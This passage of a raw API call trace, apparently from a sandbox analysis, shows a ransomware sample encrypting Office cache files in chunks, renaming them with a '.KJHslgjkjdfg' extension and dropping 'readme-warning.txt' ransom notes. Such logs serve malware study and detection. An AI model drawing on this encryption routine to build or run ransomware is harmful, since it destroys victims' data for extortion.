hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xa40, dwBufLen=0xa40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xa40) returned 1 [0164.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xa40, lpOverlapped=0x0) returned 1 [0164.696] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.696] SetEndOfFile (hFile=0x124) returned 1 [0164.698] GetProcessHeap () returned 0x2ef0000 [0164.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0164.698] GetProcessHeap () returned 0x2ef0000 [0164.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.698] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.699] CloseHandle (hObject=0x124) returned 1 [0164.699] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0164.699] GetProcessHeap () returned 0x2ef0000 [0164.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.699] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0164.699] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.700] GetProcessHeap () returned 0x2ef0000 [0164.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0164.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.700] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0164.700] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.700] GetProcessHeap () returned 0x2ef0000 [0164.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0164.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.700] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0164.700] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.700] GetProcessHeap () returned 0x2ef0000 [0164.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0164.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.700] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0164.700] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.700] GetProcessHeap () returned 0x2ef0000 [0164.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0164.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.700] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0164.700] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.700] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0164.701] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0164.701] RegCloseKey (hKey=0x124) returned 0x0 [0164.701] GetProcessHeap () returned 0x2ef0000 [0164.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0164.701] GetProcessHeap () returned 0x2ef0000 [0164.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0164.701] GetProcessHeap () returned 0x2ef0000 [0164.701] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0164.701] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0164.701] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0164.701] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.701] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.701] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.701] GetProcessHeap () returned 0x2ef0000 [0164.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0164.701] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.702] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.702] GetProcessHeap () returned 0x2ef0000 [0164.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0164.702] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0164.702] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.702] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0164.703] CloseHandle (hObject=0x124) returned 1 [0164.703] GetProcessHeap () returned 0x2ef0000 [0164.704] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0164.704] GetProcessHeap () returned 0x2ef0000 [0164.704] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0164.704] GetProcessHeap () returned 0x2ef0000 [0164.704] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0164.704] GetProcessHeap () returned 0x2ef0000 [0164.704] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.704] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0164.704] GetProcessHeap () returned 0x2ef0000 [0164.704] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0164.704] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0164.704] GetProcessHeap () returned 0x2ef0000 [0164.704] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0164.704] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0164.707] GetProcessHeap () returned 0x2ef0000 [0164.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0164.707] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.707] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0164.707] GetProcessHeap () returned 0x2ef0000 [0164.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0164.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.709] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=1992192) returned 1 [0164.710] GetProcessHeap () returned 0x2ef0000 [0164.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.710] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.710] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.710] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.710] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.710] GetProcessHeap () returned 0x2ef0000 [0164.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.710] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0164.710] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.710] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0164.713] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0164.713] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0164.713] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0164.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.714] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0164.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.714] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.714] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.714] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.722] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.727] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.727] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.728] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.729] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.729] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.729] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.736] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.739] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.739] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.740] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.740] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.740] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.741] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.746] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.749] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.749] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.750] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.750] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.750] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.750] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.750] SetEndOfFile (hFile=0x124) returned 1 [0164.753] GetProcessHeap () returned 0x2ef0000 [0164.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.753] GetProcessHeap () returned 0x2ef0000 [0164.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.753] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0164.753] CloseHandle (hObject=0x124) returned 1 [0164.754] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0164.754] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.754] GetProcessHeap () returned 0x2ef0000 [0164.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.754] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.754] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xe, lpOverlapped=0x0) returned 1 [0164.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.757] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.757] GetProcessHeap () returned 0x2ef0000 [0164.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.757] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0164.757] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.757] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0164.757] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.757] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.758] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.758] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.758] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.758] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.758] ReadFile (in: 